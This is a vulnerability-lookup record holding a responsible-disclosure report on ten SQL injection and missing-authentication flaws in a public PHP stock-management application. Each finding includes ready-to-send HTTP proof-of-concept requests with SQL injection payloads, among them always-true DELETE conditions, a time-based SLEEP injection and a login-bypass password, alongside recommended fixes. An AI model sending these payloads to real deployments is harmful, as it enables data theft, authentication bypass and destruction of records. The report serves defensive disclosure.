{"uuid": "11d354bb-9f7b-49cd-99c8-06ea2af3d267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-14568", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/aac85c8baf201da8e39e56db374ad249", "content": "# Vulnerabilities in stock-management-system (haxxorsid/stock-management-system)\n\n**Product:** stock-management-system  \n**Vendor:** haxxorsid  \n**Repository:** https://github.com/haxxorsid/stock-management-system  \n**Affected version:** latest commit at time of audit (HEAD, shallow clone)  \n**Vulnerability types:** SQL Injection (CWE-89), Broken Access Control (CWE-862)  \n**Severity:** 10 High, 0 Medium  \n**Disclosure date:** 2026-08-11  \n\n## Summary\n\nstock-management-system is a small PHP web application. A code review identified 10 security issues (10 high, 0 medium) caused by untrusted user input reaching dangerous sinks without proper sanitization / parameterized queries.\n\n## Affected endpoints / root causes\n\n### V1 \u2014 Unauthenticated SQL Injection via unvalidated `id` in Customer model (UPDATE/DELETE)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Customer.php:60`  \n- **Entry point:** PATCH /api/customers (body id) and DELETE /api/customers (body id)  \n- **Prerequisite:** None (ApiRoutes::invoke performs no Auth::userLogged() check; endpoint is unauthenticated)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; CustomerController::update/delete -&gt; Customer::update/delete -&gt; mysqli query \"UPDATE customers ... WHERE id=\" . $data['id'] / \"DELETE ... WHERE id='$id'\"  \n- **Proof of Concept:**  \n```\nPATCH /api/customers HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1 OR 1=1-- -&amp;name=Test&amp;address=addr&amp;email=a@b.com&amp;phone=1234567890\n\nDELETE /api/customers HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for all id values (e.g. $stmt=$conn-&gt;prepare(\"DELETE FROM customers WHERE id=?\")); cast id to int; or enforce API authentication in ApiRoutes::invoke.  \n- **Dedup note:** CLEAN  \n\n### V2 \u2014 Unauthenticated SQL Injection via unvalidated `id` in Employee model (UPDATE/DELETE)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Employee.php:59`  \n- **Entry point:** PATCH /api/employees (body id) and DELETE /api/employees (body id)  \n- **Prerequisite:** None (ApiRoutes performs no authentication; note CVE-2025-14567 already covers the missing-auth of /api/employees, but the Employee-model SQLi sink itself is not covered by CVE-2025-14568 which names model/User.php)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; EmployeeController::update/delete -&gt; Employee::update/delete -&gt; mysqli query \"... WHERE id=\" . $data['id'] / \"DELETE ... WHERE id='$id'\"  \n- **Proof of Concept:**  \n```\nPATCH /api/employees HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1 OR 1=1-- -&amp;name=Test&amp;address=addr&amp;phone=1234567890&amp;gender=M&amp;doj=2020-01-01\n\nDELETE /api/employees HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for id; cast id to int; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V3 \u2014 Unauthenticated SQL Injection via `id` and `address` in Merchant model (UPDATE/DELETE/INSERT)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Merchant.php:63`  \n- **Entry point:** PATCH /api/merchants (id), DELETE /api/merchants (id), POST /api/merchants (address)  \n- **Prerequisite:** None (unauthenticated API)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; Merchant::update/delete \"WHERE id=\" . $data['id'] / \"WHERE id='$id'\"; $_REQUEST['address'] only length-validated by ValidateParams::address (htmlspecialchars does not escape single quotes for SQL) -&gt; Merchant::insert/update string-concatenated into SQL  \n- **Proof of Concept:**  \n```\nDELETE /api/merchants HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n\nPOST /api/merchants HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nname=Shop&amp;address=x',(SELECT 1 FROM (SELECT SLEEP(5))x),'&amp;email=a@b.com&amp;phone=1234567890\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements; validate/cast id; escape or bind address; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V4 \u2014 Unauthenticated SQL Injection via unvalidated `name` (and `id`) in Product model  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Product.php:27`  \n- **Entry point:** POST /api/products (name), PATCH /api/products (name,id), DELETE /api/products (id)  \n- **Prerequisite:** None (unauthenticated API)  \n- **Trigger chain:** ValidateParams::productName only checks strlen&lt;=35 (does NOT block single quotes) -&gt; Product::insert \"INSERT INTO products (name) VALUES ('\" . $data['name'] . \"')\" / Product::update name / Product::delete id; all concatenated into mysqli query  \n- **Proof of Concept:**  \n```\nPOST /api/products HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nname=x'),(SELECT 1 FROM (SELECT SLEEP(5))x),('\n\nDELETE /api/products HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for name and id; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V5 \u2014 Unauthenticated SQL Injection via unvalidated `id` in Rate model (UPDATE/DELETE)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Rate.php:67`  \n- **Entry point:** PATCH /api/rates (body id) and DELETE /api/rates (body id)  \n- **Prerequisite:** None (unauthenticated API)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; RateController::update/delete -&gt; Rate::update/delete -&gt; mysqli query \"... WHERE id=\" . $data['id'] / \"DELETE ... WHERE id='$id'\"  \n- **Proof of Concept:**  \n```\nDELETE /api/rates HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n\nPATCH /api/rates HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1 OR 1=1-- -&amp;rate=1.0&amp;date=2020-01-01\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for id; cast id to int; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V6 \u2014 Unauthenticated SQL Injection via unvalidated `id` in Stock model (UPDATE/DELETE)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Stock.php:68`  \n- **Entry point:** PATCH /api/stocks (body id) and DELETE /api/stocks (body id)  \n- **Prerequisite:** None (unauthenticated API)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; StockController::update/delete -&gt; Stock::update/delete -&gt; mysqli query \"... WHERE id=\" . $data['id'] / \"DELETE ... WHERE id='$id'\" (weight/purity/merchant_id/product_id are int-validated but id is not)  \n- **Proof of Concept:**  \n```\nDELETE /api/stocks HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n\nPATCH /api/stocks HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1 OR 1=1-- -&amp;weight=1&amp;purity=1&amp;merchant_id=1&amp;dop=2020-01-01 00:00:00\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for id; cast id to int; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V7 \u2014 Unauthenticated SQL Injection via unvalidated `id` in Transaction model (UPDATE/DELETE)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/Transaction.php:69`  \n- **Entry point:** PATCH /api/transactions (body id) and DELETE /api/transactions (body id)  \n- **Prerequisite:** None (unauthenticated API)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; TransactionController::update/delete -&gt; Transaction::update/delete -&gt; mysqli query \"... WHERE id=\" . $data['id'] / \"DELETE ... WHERE id='$id'\"  \n- **Proof of Concept:**  \n```\nDELETE /api/transactions HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n\nPATCH /api/transactions HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1 OR 1=1-- -&amp;weight=1&amp;purity=1&amp;rate_id=1\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for id; cast id to int; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V8 \u2014 Unauthenticated SQL Injection via unvalidated `id` in ItemsSold model (UPDATE/DELETE)  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/ItemsSold.php:58`  \n- **Entry point:** PATCH /api/items_sold (body id) and DELETE /api/items_sold (body id)  \n- **Prerequisite:** None (unauthenticated API)  \n- **Trigger chain:** $_REQUEST['id'] -&gt; ItemsSoldController::update/delete -&gt; ItemsSold::update/delete -&gt; mysqli query \"... WHERE id=\" . $data['id'] / \"DELETE ... WHERE id='$id'\"  \n- **Proof of Concept:**  \n```\nDELETE /api/items_sold HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1' OR '1'='1\n\nPATCH /api/items_sold HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1 OR 1=1-- -&amp;stock_id=1&amp;customer_id=1&amp;employee_id=1&amp;transaction_id=1&amp;price=1&amp;dos=2020-01-01\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters for id; cast id to int; enforce API authentication.  \n- **Dedup note:** CLEAN  \n\n### V9 \u2014 Missing Authentication/Authorization on the entire REST API (broader than CVE-2025-14567)  \n- **CWE:** CWE-862  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `routes/ApiRoutes.php:25`  \n- **Entry point:** Any request to /api/* (login, users, customers, merchants, products, rates, stocks, transactions, items_sold, stockInfo, items_sold_info, tables)  \n- **Prerequisite:** None  \n- **Trigger chain:** ApiRoutes::invoke() calls ValidateRoutes::apiValidate() but NEVER Auth::userLogged(); all API controllers run without any session/auth check, exposing full CRUD + data read to unauthenticated attackers  \n- **Proof of Concept:**  \n```\nGET /api/customers HTTP/1.1\n(returns all customer records without any session cookie)\n\nGET /api/users HTTP/1.1\n(returns all user emails/admin flags unauthenticated)\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Call Auth::userLogged() at the start of ApiRoutes::invoke() and deny unauthenticated requests (except /api/login); apply per-role access control.  \n- **Dedup note:** PARTIAL  \n\n### V10 \u2014 Unauthenticated SQL Injection / Authentication Bypass in login via `password` (model/User.php valid())  \n- **CWE:** CWE-89  \n- **Severity:** high (CVSS 9.8)  \n- **Source:** `model/User.php:14`  \n- **Entry point:** POST /api/login (password field)  \n- **Prerequisite:** None (login endpoint is unauthenticated)  \n- **Trigger chain:** LoginController::login validates password only by length (ValidateParams::password) -&gt; User::valid() concatenates \"SELECT * FROM users WHERE email='$email' AND password='$pass'\" with unescaped $pass, allowing SQLi and auth bypass. CVE-2025-14568 names User.php args employee_id/id/admin; the login password argument is a distinct sink not enumerated there.  \n- **Proof of Concept:**  \n```\nPOST /api/login HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nemail=admin@x.com&amp;password=x' OR '1'='1\n```\n- **Impact:** Data extraction / authentication bypass / unauthorized data access depending on the sink.  \n- **Recommended fix:** Use prepared statements with bound parameters in User::valid(); hash passwords (password_verify) instead of comparing raw input in SQL.  \n- **Dedup note:** PARTIAL  \n\n## Remediation\nUse prepared statements / parameterized queries (PDO or mysqli prepared statements) for all SQL; validate and allowlist order-by columns; enforce authentication on every sensitive endpoint.\n\n## Disclaimer\nThis report is provided for responsible disclosure. The findings were identified via static code analysis; runtime confirmation is recommended before public release.", "creation_timestamp": "2026-08-10T17:07:51.876069Z"}